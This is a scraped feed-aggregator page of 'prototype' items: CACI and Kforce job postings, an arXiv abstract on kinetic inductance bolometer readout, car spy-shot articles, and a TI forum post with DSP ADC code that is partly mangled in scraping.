Job Description What You’ll Get to Do: CACI is currently looking for outstanding IT candidates to join our TSA IT Management, Performance Analysis, and Collaborative Technologies (IMPACT) team in the National Capital Region (NCR) and throughout the United States. CACI will provide a variety of IT services through IMPACT including cyber security, identity and access management, risk management, cloud integration and engineering, field support services, service desk, application deployment and optimization, and operations center support services. CACI will support TSA in both classified and unclassified IT operational environments increasing availability and security for a variety of applications and systems. IMPACT services will integrate with the broader DHS mission and enhance existing Department-wide IT capabilities. More About the Role: + Sustainment of application systems and infrastructure and systems deployed to TSA’s production network + Support for applications transitioning into TSA’s Test environment + Daily, weekly, monthly preventative maintenance + Tier 3/4 break-fix support + Emergency release/update support + Interacting with network, security, database or other support teams as required to resolve break/fix issues + Capacity/utilization trend analysis + Coordinating backup / restoration of application systems and data + Updating Standard Operating Procedures as required + Updating break/fix / knowledge database as required + Configuration management and control of production application, systems, infrastructure and services + Researching and recommending future technologies for consideration and adoption + Identifying opportunities to improve application sustainability, security, and/or cost efficiency You’ll Bring These Qualifications: + Ability to obtain a DOD Security Clearance + Ability to obtain a DHS Entrance on Duty (EOD) + BA/BS or equivalent experience and minimum 5 years related work experience + Relevant DHS focused experience + Strong candidates will have a good understanding of standard software development lifecycles, including Agile and Waterfall, for one or more U.S. Federal Agencies or DoD. + Be well-versed in application development using .NET, Java, PHP, Microsoft SQL, MySQL or Oracle and Oracle Middleware + Experience working with design engineers or product development team test technical products and report problems or failures to improve or perfect the products + Experience developing and executing test plans, procedures, test cases, and test scripts for IT SOA development environment projects + Experience supervising test and evaluation technical effort + Experience performing typical tasks that include, but are not limited to, prototype development and first article testing, environmental testing, independent verification and validation, demonstration and validation, simulation and modeling, system safety, quality assurance, education and training, and physical testing of the product or system + Experience performing system, interface, deployment, and performance testing on a variety of systems, platforms, and environments + A background in providing customer support, operational support, and analysis of test results + Experience coordinating across multiple stakeholders of various technical backgrounds + Excellent oral and written communications + Experience using quality control and application testing tools + Experience in utilizing the COTS products identified such as the following: + Operating System: IBM AIX, Solaris OS, Red Hat Enterprise Linux, Microsoft Windows Server 2008 or later + Oracle: Oracle Application Server; Oracle Grid Infrastructure; Oracle Database; Oracle Clients; Oracle SQL Developer; WebLogic, + Data Loss Prevention: McAfee Agent; McAfee Host Intrusion Prevention; McAfee Policy Auditor; Policy Auditor Content Update; Policy Auditor Agent; SQL Server + COTS: Internet Explorer; Adobe Acrobat Reader X; ActivClient CAC; ActivCard Gold for CAC -“ PKI; ForgeRock Open AM Java EE Policy Agent; Tivoli Client, Veritas Volume Manager & Netbackup + Detail oriented + Flexible – The environment is highly dynamic. You will be expected to keep up with the changing environment while ensuring a high level of operational effectiveness + Team Player – This role is part of a much larger team What We Can Offer You: - We’ve been named a Best Place to Work by the Washington Post. - Our employees value the flexibility at CACI that allows them to balance quality work and their personal lives. - We offer competitive benefits and learning and development opportunities. - We are mission-oriented and ever vigilant in aligning our solutions with the nation’s highest priorities. - For over 55 years, the principles of CACI’s unique, character-based culture have been the driving force behind our success. TSAHP Job Location US-Chantilly-VA-VIRGINIA SUBURBAN CACI employs a diverse range of talent to create an environment that fuels innovation and fosters continuous improvement and success. At CACI, you will have the opportunity to make an immediate impact by providing information solutions and services in support of national security missions and government transformation for Intelligence, Defense, and Federal Civilian customers. CACI is proud to provide dynamic careers for employees worldwide. CACI is an Equal Opportunity Employer - Females/Minorities/Protected Veterans/Individuals with Disabilities.
          (USA-VA-Sterling) Embedded Software/Hardware Engineer      Cache   Translate Page      
Job Description POSITION SUMMARY: Designs electrical products and complex systems. This position will be involved in all phases of product development including schematic capture, PCB layout and firmware development for complex electronic assemblies. Responsibilities include assisting with planning, conducting, and evaluating approaches to meet project objectives in a timely, cost-effective fashion. Successful Electrical Engineers are self-motivated and work effectively in team or individual situations. They have excellent communication skills and can handle multiple projects and activities simultaneously. We operate in a fast-paced, highly technical R&D environment. RESPONSIBILITIES: • Analyze, design, develop, and maintain products; assist in commercialization. • Build prototypes, products, and systems for testing; set up and run laboratory simulations • Design testing procedures and coordinate testing. Conduct tests, document results, and develop client presentation • Conduct and/or participate in technical reviews of requirements, specifications, designs, codes, and other artifacts • Identify and keep abreast of novel technical concepts and markets • Contribute to design standards and support design reuse • Author technical reports, papers, articles, presentations, and patents EDUCATION AND EXPERIENCE: Required: • BS degree in electrical engineering, computer engineering or computer science (ABET/EAC Accredited) • 1-2 Years of relevant experience in the field of electrical/computer engineering • Microprocessor based design / embedded system design • Proficient with Linux • Proficient in C/C++ and Python • Must be mechanically inclined • Interpersonal skills required to work with others and communicate effectively • Exceptional attention to detail • Ability to work under pressure for quick-reaction projects • Ability to work with minimal supervision • Must be organized Desired: • Hands-on prototyping and assembly experience • Experience with schematic capture and PCB layout • Designing mixed signal PCBs • Designing embedded power supply systems • Designing RF PCBs • Digital Signal Processing (DSP) • Software Defined Radios (SDR) • Designing FPGA based systems • Embedded firmware development • ARM Processor Development • Experience using Altium Designer • Experience designing low power embedded systems • Military Vehicle Electronics or Equivalent Industrial Applications PHYSICAL DEMANDS: Some travel may be required. What We Can Offer You: - We’ve been named a Best Place to Work by the Washington Post. - Our employees value the flexibility at CACI that allows them to balance quality work and their personal lives. - We offer competitive benefits and learning and development opportunities. - We are mission-oriented and ever vigilant in aligning our solutions with the nation’s highest priorities. - For over 55 years, the principles of CACI’s unique, character-based culture have been the driving force behind our success. Job Location US-Sterling-VA-VIRGINIA SUBURBAN CACI employs a diverse range of talent to create an environment that fuels innovation and fosters continuous improvement and success. At CACI, you will have the opportunity to make an immediate impact by providing information solutions and services in support of national security missions and government transformation for Intelligence, Defense, and Federal Civilian customers. CACI is proud to provide dynamic careers for employees worldwide. CACI is an Equal Opportunity Employer - Females/Minorities/Protected Veterans/Individuals with Disabilities.
          (USA-CA-San Diego) Senior Learning Management Specialist      Cache   Translate Page      
Job Description CACI is looking for a Senior SharePoint/LMS Administrator in Coronado, CA. working for the NSW Center. This position provides support services for the overall operational objectives at the Knowledge Management Office. Candidates should be team oriented, self-starter who will work as part of a development team identifying solutions to provided requirements and working closely with a Site Collection Administrator and their assigned customer to ensure the proper solution for the provided requirements. These activities will include all tasks to perform requirements gathering, design, installation, configuration, integration, maintenance, performance management, data management, security management, troubleshooting, failure analysis and recovery, and user support. Also, performs daily LMS and SharePoint administration tasks and assignments. Candidate background + Comprehend basic to complex business issues pertaining to a Learning Management System, contribute to IT business projects or IT sponsored technology projects by translating business needs into understandable requirements. + Participate in development and management of project plans related to application development initiatives (project planning and design through testing, implementation and maintenance). + Understand business requirements, goals, and risks in order to formulate and define technical scope and objectives of projects. + Provide client support and consultation for IT issues. Should be focused on improving business operations. Basic Requirements Serve as the primary LMS and SharePoint SME and administrator responsible for the overall design and architecture of large and small scale SharePoint applications while having a thorough understanding of the Microsoft SharePoint solution stack and a Learning Management System integration. 5 years of experience with consulting and training of SharePoint. Deep knowledge of all out-of-the-box SharePoint features & configurations, and have experience with assisting business groups to organize their SharePoint site content. Understanding of the importance of SharePoint Governance. Very knowledgeable about the various SharePoint features from end-user, power user, Site Owner and Site Collection Administrator’s perspectives; experienced in documenting roles and responsibilities. Responsibilities/Training/Experience + Designing and developing SharePoint Business Intelligence (BI) Dashboards + Upgrading SharePoint 2010 to 2013 + Migrating content into SharePoint, either from network file shares or between site collections/SharePoint versions (sites, lists, libraries, documents, meta data, etc.) utilizing DocAve or a similar tool. + Integrating Office 365, Project Pro, Visio Pro, CRM, and TFS with SharePoint + Managing SharePoint Sites and sub-sites: creation, administration, security management, layout structure and content + Designing prototypes/wireframes intranet site pages and develop custom web parts + Managing SharePoint Security, backup and high availability for SharePoint + Managing Microsoft CRM Dynamics in conjunction with SQL Server Reporting Services (SSRS) + Reporting Services integration, Business Connectivity Services, Lists and Workflows. + Converting paper forms to web SharePoint or InfoPath forms with approval process workflows built in SharePoint Designer 2013 + Designing SharePoint Portal pages with existing style guides, following all corporate guidelines, practices and procedures including processes related to SharePoint change management + Integration of multimedia. + Shareable content and SCORM compliant. + Accessible in an on-line, real-time, modifiable format. + Easy development/update/modifications of curriculum by instructors after content is completed. + Content modification at no additional or minimal cost. + Testing both user and functional + Creating Functional Requirements and Technical Requirements Documents + Researching off the shelf software for potential solutions other than SharePoint. Qualifications + B.S. Degree in Information Technology or 10 years equivalent experience required. + Certification in Web, MCSE or MCSD SharePoint or Solutions Development preferred not required + Minimum 5 years of applied SharePoint Administration in a fast paced work environment. + Current Secret Clearance Core Competencies + Demonstrated ability to interact in a positive, respectful manner and establish and maintain cooperative working relationships. + Ability to display excellent customer service to meet the needs and expectations of both internal and external customers. + Great verbal/written communication skills + Great interpersonal skills + Ability to consistently achieve the timely delivery of software products, data and report + Proven ability to communicate complex ideas clearly and concisely + Excellent listening and interpersonal communication skills to identify critical core competencies based on success factors and organizational environment. + Ability to effectively organize, prioritize, multi-task and manage time. + Demonstrated accuracy and productivity in a changing environment with constant interruptions. + Demonstrated ability to analyze information, problems, issues, situations and procedures to develop effective solutions. + Ability to exercise strict confidentiality in all matters. + Ability to learn on the job and take the initiative to ensure current and future individual and team success. What We Can Offer You: - We’ve been named a Best Place to Work by the Washington Post. - Our employees value the flexibility at CACI that allows them to balance quality work and their personal lives. - We offer competitive benefits and learning and development opportunities. - We are mission-oriented and ever vigilant in aligning our solutions with the nation’s highest priorities. - For over 55 years, the principles of CACI’s unique, character-based culture have been the driving force behind our success. Job Location US-San Diego-CA-SAN DIEGO CACI employs a diverse range of talent to create an environment that fuels innovation and fosters continuous improvement and success. At CACI, you will have the opportunity to make an immediate impact by providing information solutions and services in support of national security missions and government transformation for Intelligence, Defense, and Federal Civilian customers. CACI is proud to provide dynamic careers for employees worldwide. CACI is an Equal Opportunity Employer - Females/Minorities/Protected Veterans/Individuals with Disabilities.
          Learning Experience Design, Learning Futures Group - Civil Service College - Singapore      Cache   Translate Page      
We work with internal and external partners to identify future learning trends and develop prototypes and pilots for potential application in CSC. Who We Are....
From Careers@Gov - Fri, 21 Sep 2018 05:52:48 GMT - View all Singapore jobs
          Prototype      Cache   Translate Page      

Its creation promised limitless potential that could change the future of mankind. Now that the prototype is here, will it fulfill it's design or have we given it too much power to control? The choice is your's with this new mechanical creature from Stonemason.

Price: $34.95 Special Price: $20.97


          From the Archives: Howard Hughes is injured in 1946 plane crash      Cache   Translate Page      
On July 7, 1946, Howard Hughes took the first XF-11 prototype on its maiden flight and crashed.
          Front End Developer - DevFacto - Calgary, AB      Cache   Translate Page      
To map and model (xMind, Visio, Treejack), collect and organize user stories (VSTS, Stories On Board), prototype (Figma), test usability (Chalkmark),...
From DevFacto - Wed, 26 Sep 2018 01:13:12 GMT - View all Calgary, AB jobs
          Multiplexed readout of kinetic inductance bolometer arrays      Cache   Translate Page      
arXiv:1810.03848

by: Sipola, Hannu
Abstract:
Kinetic inductance bolometer (KIB) technology is a candidate for passive sub-millimeter wave and terahertz imaging systems. Its benefits include scalability into large 2D arrays and operation with intermediate cryogenics in the temperature range of 5 - 10 K. We have previously demonstrated basic figures of merit compatible with typical requirements in security screening applications, and demonstrated the scalability into large arrays in terms of device fabrication, optics integration, and cryogenics. In this article, we address the last missing ingredient, the readout. The concept, serial addressed frequency excitation (SAFE), is an alternative to full frequency-division multiplexing at microwave frequencies conventionally used to read out kinetic inductance detectors. We introduce the concept, and analyze the criteria of the multiplexed readout avoiding the degradation of the signal-to-noise ratio in the presence of a thermal anti-alias filter inherent to thermal detectors. We also present radiometric detection experiments demonstrating the noise properties. Furthermore, we present a practical scalable realization of a readout system integrated into a prototype imager with 8712 detectors, and demonstrate working progress by detection with up to 456 detectors. We also present practical detection experiments demonstrating the capacity of SAFE in concealed object detection.
          Lead Analysts      Cache   Translate Page      
FL-Tampa, RESPONSIBILITIES: Kforce is looking for Lead Analysts. Qualified candidates will be planning and executing a variety of methodologies as part of the concept stage in the overall project development of web-based applications. Creating GUI prototypes. Researching, planning and developing project strategies. Coordinating the full life cycle of IT projects using C#, ASP.Net, JavaScript, Bootstrap JQue
          Lead Analysts      Cache   Translate Page      
FL-Tampa, RESPONSIBILITIES: Kforce is looking for Lead Analysts. Qualified candidates will be planning and executing a variety of methodologies as part of the concept stage in the overall project development of Android applications using Agile. Creating GUI prototypes. Researching, planning and developing project strategies. Coordinating the full life cycle of IT projects using Java, Android Stack and WebSe
          Lead Analysts      Cache   Translate Page      
FL-Tampa, RESPONSIBILITIES: Kforce is looking for Lead Analysts. Qualified candidates will be planning and executing a variety of methodologies as part of the concept stage in the overall project development of applications using business analysis, Rally and Agile and Waterfall methodologies. Creating detailed project design documents. Creating BRD, user stories, models and prototypes. Researching, planning
          Lead Analysts      Cache   Translate Page      
FL-Tampa, RESPONSIBILITIES: Kforce is looking for Lead Analysts. Qualified candidates will be planning and executing a variety of methodologies as part of the concept stage in the overall project development of web-based applications. Creating GUI prototypes. Researching, planning and developing project strategies. Coordinating the full life cycle of IT projects using .NET Framework, ASP.Net, C#.Net, XML, J
          Lead Analysts      Cache   Translate Page      
FL-Tampa, RESPONSIBILITIES: Kforce is looking for Lead Analysts. Qualified candidates will be planning and executing a variety of methodologies as part of the concept stage in the overall project development of web-based applications. Creating GUI prototypes. Researching, planning and developing project strategies. Coordinating the full life cycle of IT projects using ASP.NET, jQuery, HTML, JavaScript, CSS,
          Lead Analysts      Cache   Translate Page      
FL-Tampa, RESPONSIBILITIES: Kforce is looking for Lead Analysts. Qualified candidates will be planning and executing a variety of methodologies as part of the concept stage in the overall project development of datawarehouses and databases. Creating GUI prototypes. Researching, planning and developing project strategies. Creating logical and physical data models. Designing the architecture, analyze and deve
          Lead Analysts      Cache   Translate Page      
FL-Tampa, RESPONSIBILITIES: Kforce is looking for Lead Analysts. Qualified candidates will be planning and executing a variety of methodologies in the overall project development of analytical utilities. Creating prototypes and models. Researching, planning and developing project strategies. Coordinating the full life cycle of the project using MapR, HDFS, Spark 2.2, Scala, Java, Python, Pig, Bash, Hive, Hi
          From the Archives: Howard Hughes is injured in 1946 plane crash      Cache   Translate Page      
On July 7, 1946, Howard Hughes took the first XF-11 prototype on its maiden flight and crashed.
          GM India Showcases Quirky Range Extended EV Concept      Cache   Translate Page      
Range Extended Electric Vehicle concept shown to kick off the REEV engineering student contest This week at FISITA 2018, General Motors Technical Center India (GM TC-I) and SAE India Bangalore unveiled a prototype range extended electric vehicle. The vehicle doesn’t have a formal name, it is just an REEV Concept. But the goal of developing […]
          DIY - Fabriquer sa propre console portable – Présentation du prototype      Cache   Translate Page      
none
          Skoda Vision E: electric car to offer SUV and coupe bodystyles      Cache   Translate Page      
Skoda Vision E concept
The Skoda Vision E concept
The Czech maker's upcoming zero-emission model is due in 2021 and will follow the e-Citigo

Skoda’s first stand-alone electric car based on the Vision E concept is set to get both standard SUV and coupé variants, akin to the Kodiaq and (China-only) Kodiaq coupé.

First deliveries of the production model are due at the end of 2021, but it is not yet clear which variant will arrive first.

The Vision E concept has a coupé rear, reflecting the growing popularity of SUVs with coupé rooflines to create a more sporty appearance.

Both versions will be based on the Volkswagen Group’s electric-only MEB platform, which is being used across all of the company's brands.

Skoda sales and marketing boss Alain Favey has previously told Autocar that the Vision E “gives a very good idea of what the EV will look like.”

Inside, the car will adopt the 'floating' screen seen in the Vision X concept, shown earlier this year.

Both coupé and standard SUV variants will sit between the Karoq and Kodiaq in terms of size and each will have a battery that will be capable of at least 300 miles of range.

Pricing will be comparable with that of a mid- to upper-range Kodiaq so we can expect the EV to cost from around £28,000.

Ahead of the Vision E-based models arriving, Skoda will launch the electric Citigo-e, a sibling of the Volkswagen e-Up and future Seat eMii. The car is largely intended for Skoda and its network to gain experience in electric cars, to make sure dealers and repairers are ready. “The real first step [into electric cars] will be with the [stand-alone SUV]," Favey has said.

READ MORE

Skoda electric SUV confirmed under development 

Skoda Kodiaq vRS revealed as 237bhp performance SUV


          2020 Opel Insignia Sports Tourer spy shots      Cache   Translate Page      
2020 Opel Insignia Sports Tourer spy shots#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000 Opel's Insignia lineup is about to be updated, as evidenced by the recent sighting of a concealed prototype testing on the Nürburgring. The particular tester is for the Insignia's Sports Tourer wagon body style, which we get here in jacked-up Buick Regal TourX soft-roader form. We also get the ... Reported by MotorAuthority 1 hour ago.
          2020 Opel Insignia Sports Tourer spy shots      Cache   Translate Page      
2020 Opel Insignia Sports Tourer facelift spy shots - Image via S. Baldauf/SB-MedienOpel's Insignia lineup is about to be updated, as evidenced by the recent sighting of a concealed prototype testing on the Nürburgring. The particular tester is for the Insignia's Sports Tourer wagon body style, which we get here in jacked-up Buick Regal TourX soft-roader form. We also get the regular Insignia Grand Sport as our Buick Regal...
          Create visuals for data in a web page with filters, JavaScript -- 2      Cache   Translate Page      
I am self employee with lots of projects in hand.. am looking for a long term javascripy and angular developers to work on the project time to time.. this project is related to creating visuals like... (Budget: $750 - $1500 CAD, Jobs: Angular.js, HTML, HTML5, Javascript, jQuery / Prototype)
          Forum Post: CCS/TMS320F28335: ADC sampling rate by EPWM- collecting 512 values      Cache   Translate Page      
Part Number: TMS320F28335 Tool/software: Code Composer Studio I need to collect 512 values from ADC0 by triggering using EPWM at a sample rate of 5kHz. Initially i am using the potentiometer to test my code which should be giving constant values. The Adc does not seem to get triggered. I have inserted the code below. #include "DSP2833x_Device.h" #include "IQmathLib.h" #define FFT_SIZE 512 _iq AdcBuf[FFT_SIZE]; int i,j; // external function prototypes extern void InitAdc(void); extern void InitSysCtrl(void); extern void InitPieCtrl(void); extern void InitPieVectTable(void); extern void InitCpuTimers(void); extern void ConfigCpuTimer(struct CPUTIMER_VARS *, float, float); // Prototype statements for functions found within this file. void Gpio_select(void); interrupt void cpu_timer0_isr(void); interrupt void adc_isr(void); // ADC End of Sequence ISR // Global Variables int Voltage_VR1; int counter=0; //########################################################################### // main code //########################################################################### void main(void) { InitSysCtrl(); // Basic Core Init from DSP2833x_SysCtrl.c EALLOW; SysCtrlRegs.WDCR= 0x00AF; // Re-enable the watchdog EDIS; // 0x00AF to NOT disable the Watchdog, Prescaler = 64 DINT; // Disable all interrupts InitPieCtrl(); // basic setup of PIE table; from DSP2833x_PieCtrl.c InitPieVectTable(); // default ISR's in PIE EALLOW; PieVectTable.ADCINT = &adc_isr; EDIS; PieCtrlRegs.PIEIER1.bit.INTx6 = 1; // ADC IER |=1; EINT; ERTM; //CpuTimer0Regs.TCR.bit.TSS = 0; // start timer0 while(1) { //while(CpuTimer0.InterruptCount == 0) while(j TBCLK = HSPCLK/1 bit 9-7 000: HSPCLKDIV, 000 => HSPCLK = SYSCLKOUT/1 bit 6 0: SWFSYNC, 0 = no software sync produced bit 5-4 11: SYNCOSEL, 11 = sync-out disabled bit 3 0: PRDLD, 0 = reload PRD on counter=0 bit 2 0: PHSEN, 0 = phase control disabled bit 1-0 00: CTRMODE, 00 = count up mode */ EPwm2Regs.TBPRD = 30000; // TPPRD +1 = TPWM / (HSPCLKDIV * CLKDIV * TSYSCLK) // = 200 µs / 6.667 ns EPwm2Regs.ETPS.all = 0x0100; // Configure ADC start by ePWM2 /* bit 15-14 00: EPWMxSOCB, read-only bit 13-12 00: SOCBPRD, don't care bit 11-10 00: EPWMxSOCA, read-only bit 9-8 01: SOCAPRD, 01 = generate SOCA on first event bit 7-4 0000: reserved bit 3-2 00: INTCNT, don't care bit 1-0 00: INTPRD, don't care */ EPwm2Regs.ETSEL.all = 0x0A00; // Enable SOCA to ADC /* bit 15 0: SOCBEN, 0 = disable SOCB bit 14-12 000: SOCBSEL, don't care bit 11 1: SOCAEN, 1 = enable SOCA bit 10-8 010: SOCASEL, 010 = SOCA on PRD event bit 7-4 0000: reserved bit 3 0: INTEN, 0 = disable interrupt bit 2-0 000: INTSEL, don't care */ } interrupt void adc_isr(void) { static Uint16 index=0; //AdcBuf[index] = AdcMirror.ADCRESULT0; // store result global AdcBuf[index] =AdcRegs.ADCRESULT0; index++; // Increment the index j=index; if(index == FFT_SIZE) index = 0; // Rewind the pointer to beginning // Reinitialize for next ADC sequence AdcRegs.ADCTRL2.bit.RST_SEQ1 = 1; // Reset SEQ1 AdcRegs.ADCST.bit.INT_SEQ1_CLR = 1; // Clear INT SEQ1 bit PieCtrlRegs.PIEACK.all = PIEACK_GROUP1; // Acknowledge interrupt to PIE } //// Lab8_2: TMS320F28335 // (c) Frank Bormann////###########################################################################//// FILE: Lab8_2.c// // TITLE: DSP28335ControlCARD Analogue Input// ADCIN_A0 connected to variable resistor VR1// on Peripheral Explorer Board (3.3V...0V)// ADC samples at 50KHz, hardware triggered by ePWM2// VR1 controls speed of binary counter at LEDs LD1...LD4// (GPIO9, GPIO11, GPIO34 and GPIO49)// CPU Timer0 period is controlled ISR every 100 ms// Watchdog active , cleared in ISR and main-loop ////###########################################################################// Ver | dd mmm yyyy | Who | Description of changes// =====|=============|======|===============================================// 3.0 | 30 Jun 2009 | F.B. | Lab8_2 for F28335CC + peripheral explorer// 3.1 | 09 Nov 2009 | F.B | Lab8_2 for F28335 and PE revision 5//############################################################################include "DSP2833x_Device.h"#include "IQmathLib.h" #define FFT_SIZE 512_iq AdcBuf[FFT_SIZE];int i,j; // external function prototypesextern void InitAdc(void);extern void InitSysCtrl(void);extern void InitPieCtrl(void);extern void InitPieVectTable(void);extern void InitCpuTimers(void);extern void ConfigCpuTimer(struct CPUTIMER_VARS *, float, float); // Prototype statements for functions found within this file.void Gpio_select(void);interrupt void cpu_timer0_isr(void);interrupt void adc_isr(void); // ADC End of Sequence ISR // Global Variablesint Voltage_VR1;int counter=0; //###########################################################################// main code //###########################################################################void main(void){ InitSysCtrl(); // Basic Core Init from DSP2833x_SysCtrl.c EALLOW; SysCtrlRegs.WDCR= 0x00AF; // Re-enable the watchdog EDIS; // 0x00AF to NOT disable the Watchdog, Prescaler = 64 DINT; // Disable all interrupts //Gpio_select(); // GPIO9, GPIO11, GPIO34 and GPIO49 as output // to 4 LEDs at Peripheral Explorer) InitPieCtrl(); // basic setup of PIE table; from DSP2833x_PieCtrl.c InitPieVectTable(); // default ISR's in PIE EALLOW; //PieVectTable.TINT0 = &cpu_timer0_isr; PieVectTable.ADCINT = &adc_isr; EDIS; //InitCpuTimers(); // basic setup CPU Timer0, 1 and 2 //ConfigCpuTimer(&CpuTimer0,150,100000); //PieCtrlRegs.PIEIER1.bit.INTx7 = 1; // CPU Timer 0 PieCtrlRegs.PIEIER1.bit.INTx6 = 1; // ADC IER |=1; EINT; ERTM; //CpuTimer0Regs.TCR.bit.TSS = 0; // start timer0 while(1) { //while(CpuTimer0.InterruptCount == 0) while(j TBCLK = HSPCLK/1 bit 9-7 000: HSPCLKDIV, 000 => HSPCLK = SYSCLKOUT/1 bit 6 0: SWFSYNC, 0 = no software sync produced bit 5-4 11: SYNCOSEL, 11 = sync-out disabled bit 3 0: PRDLD, 0 = reload PRD on counter=0 bit 2 0: PHSEN, 0 = phase control disabled bit 1-0 00: CTRMODE, 00 = count up mode */ EPwm2Regs.TBPRD = 30000; // TPPRD +1 = TPWM / (HSPCLKDIV * CLKDIV * TSYSCLK) // = 200 µs / 6.667 ns EPwm2Regs.ETPS.all = 0x0100; // Configure ADC start by ePWM2 /* bit 15-14 00: EPWMxSOCB, read-only bit 13-12 00: SOCBPRD, don't care bit 11-10 00: EPWMxSOCA, read-only bit 9-8 01: SOCAPRD, 01 = generate SOCA on first event bit 7-4 0000: reserved bit 3-2 00: INTCNT, don't care bit 1-0 00: INTPRD, don't care */ EPwm2Regs.ETSEL.all = 0x0A00; // Enable SOCA to ADC /* bit 15 0: SOCBEN, 0 = disable SOCB bit 14-12 000: SOCBSEL, don't care bit 11 1: SOCAEN, 1 = enable SOCA bit 10-8 010: SOCASEL, 010 = SOCA on PRD event bit 7-4 0000: reserved bit 3 0: INTEN, 0 = disable interrupt bit 2-0 000: INTSEL, don't care */ } /*void Gpio_select(void){ EALLOW; GpioCtrlRegs.GPAMUX1.all = 0; // GPIO15 ... GPIO0 = General Puropse I/O GpioCtrlRegs.GPAMUX2.all = 0; // GPIO31 ... GPIO16 = General Purpose I/O GpioCtrlRegs.GPBMUX1.all = 0; // GPIO47 ... GPIO32 = General Purpose I/O GpioCtrlRegs.GPBMUX2.all = 0; // GPIO63 ... GPIO48 = General Purpose I/O GpioCtrlRegs.GPCMUX1.all = 0; // GPIO79 ... GPIO64 = General Purpose I/O GpioCtrlRegs.GPCMUX2.all = 0; // GPIO87 ... GPIO80 = General Purpose I/O GpioCtrlRegs.GPADIR.all = 0; GpioCtrlRegs.GPADIR.bit.GPIO9 = 1; // peripheral explorer: LED LD1 at GPIO9 GpioCtrlRegs.GPADIR.bit.GPIO11 = 1; // peripheral explorer: LED LD2 at GPIO11 GpioCtrlRegs.GPBDIR.all = 0; // GPIO63-32 as inputs GpioCtrlRegs.GPBDIR.bit.GPIO34 = 1; // peripheral explorer: LED LD3 at GPIO34 GpioCtrlRegs.GPBDIR.bit.GPIO49 = 1; // peripheral explorer: LED LD4 at GPIO49 GpioCtrlRegs.GPCDIR.all = 0; // GPIO87-64 as inputs EDIS;} */ /*interrupt void cpu_timer0_isr(void){ CpuTimer0.InterruptCount++; PieCtrlRegs.PIEACK.all = PIEACK_GROUP1;}*/ interrupt void adc_isr(void){ static Uint16 index=0; //AdcBuf[index] = AdcMirror.ADCRESULT0; // store result global AdcBuf[index] =AdcRegs.ADCRESULT0; index++; // Increment the index j=index; if(index == FFT_SIZE) index = 0; // Rewind the pointer to beginning // Reinitialize for next ADC sequence AdcRegs.ADCTRL2.bit.RST_SEQ1 = 1; // Reset SEQ1 AdcRegs.ADCST.bit.INT_SEQ1_CLR = 1; // Clear INT SEQ1 bit PieCtrlRegs.PIEACK.all = PIEACK_GROUP1; // Acknowledge interrupt to PIE} //===========================================================================// End of SourceCode.//===========================================================================
          A BMW M2 CS, or a greater range of M Performance options for the M2 Competition?      Cache   Translate Page      
Will Beaumont
10 Oct 2018

It hasn’t been that long since BMW’s M Division announced the significantly improved version of its smallest coupe, the M2 Competition. However, an even hotter M2 might be coming if these recent spy shots are anything to go by.

Spotted at the Nürburgring, this M2 features a selection of parts that hint at either a new, more focussed model in the mould of the recent BMW M3 and M4 CS – lighter, more powerful, grippier versions of the super saloon and coupe – or this car could be testing a more extensive range of in-house customisation parts for the M Performance range.

> Read our review of the BMW M4 CS

There are some significant alterations to this car when compared to a regular M2 Competition that might suggest this could be a CS with a lower kerb weight and even more power. Firstly, this car is wearing Michelin Pilot Sport Cup 2 tyres, the same rubber that the current CS cars run. The extra grip that these tyres offer over the standard M2 Competition’s Michelin Super Sports might imply this car has more power that needs controlling – as the M2 Competition has the same basic engine as the M3 and M4, it wouldn’t be too difficult for BMW M to boost its output from its standard 404bhp to the M3/4’s 425bhp or even the CS’s 454bhp.

More so than the extra power, the CS name tag donates a reduction in weight. The M4 CS features a greater number of carbonfibre panels and pared-back interior to shave off a few extra kilos, and this M2 looks as though it has many of the same tricks. This prototype car is fitted with carbon-ceramic brakes that aren’t an option on the M2 Competition; the added cost being such a large proportion of the cost of the car that it’s unlikely anyone would choose them. On a car that needs to reduce its weight, though, lighter brakes are an easy win.

> Find out what the BMW M2 Competition is like to drive

Like the most recent CSs, this partly disguised car has a stepped rear spoiler stuck to the trailing edge of the boot. Less obvious are some of the other body modifications. The bonnet’s shape has been altered, with an added bulge close to the base of the windscreen, and the roof has two ridges similar to the carbon roof on the bigger M-cars. In the road pictures, these panels look a different shade of white and edges of vinyl are visible suggesting this bodywork has been hastily covered up, possibly to disguise that they are made from carbon.

If this is an M2 CS, carbon body panels, carbon-ceramic brakes, boot spoiler and Cup 2 tyres would be in keeping with the attitude of the other CS cars. However, anyone thinking the extra bonnet bulge might mean that this car will be fitted with the extreme M4 GTS’s water injection system and 493bhp engine are likely to be very disappointed.

But we could be getting ahead of ourselves. Many of these modifications could be to bolster the M Performance parts range, BMW’s approved set of aftermarket-style improvements. The front spoiler on this prototype, although mostly covered in white vinyl, looks like the current M Performance front splitter for the M2 Competition and so do the black Y-spoke forged wheels – although they do also look a lot like the M3 and M4 CS’s rims.

Creating an M2 CS would be an odd decision for BMW M to take. A more powerful, more focussed version would put it in direct competition with the BMW M4, even though it’s a little smaller. Arguably, there’s a stronger case for a truly hardcore GTS-style M2, that’s significantly different from the rest of the M-car range. Still, whether these are just new optional parts for BMW M’s smallest car or a new CS, we’ll be happy to see an even sharper M2 on the market.

> What is 562bhp like in a 2-series body? Read our review of the AC Schnitzer ACL2


          Front end asp.net jquery HTML5 developer      Cache   Translate Page      
Looking for asp.net jquery HTML5 developer (Budget: ₹100 - ₹400 INR, Jobs: ASP.NET, HTML, HTML5, Javascript, jQuery / Prototype)
          Front end asp.net jquery HTML5 developer      Cache   Translate Page      
Looking for asp.net jquery HTML5 developer (Budget: ₹100 - ₹400 INR, Jobs: ASP.NET, HTML, HTML5, Javascript, jQuery / Prototype)
          2019 Johnson & Johnson Supply Chain/Operations Co-Op Northeast - Johnson & Johnson Family of Companies - Somerville, NJ      Cache   Translate Page      
Supply Chain Business Analyst. Build prototypes using machine shops or 3D printing technology. Drive business insights through the active mining of supply chain...
From Johnson & Johnson Family of Companies - Fri, 10 Aug 2018 19:21:03 GMT - View all Somerville, NJ jobs
          Versuchstechniker Prototypenbauteile - Zug-Drucksysteme (m/w) - SVZ SystemValidierungsZentrum - Gaimersheim      Cache   Translate Page      
ALS MITARBEITER BEIM VALIDIERUNGSSPEZIALISTEN SVZ HEUTE DIE FAHRZEUGE VON MORGEN TESTEN_ Versuchstechniker Prototypenbauteile Zug-Drucksysteme (m/w)_ Als...
Gefunden bei SVZ SystemValidierungsZentrum - Mon, 17 Sep 2018 10:22:23 GMT - Zeige alle Gaimersheim Jobs
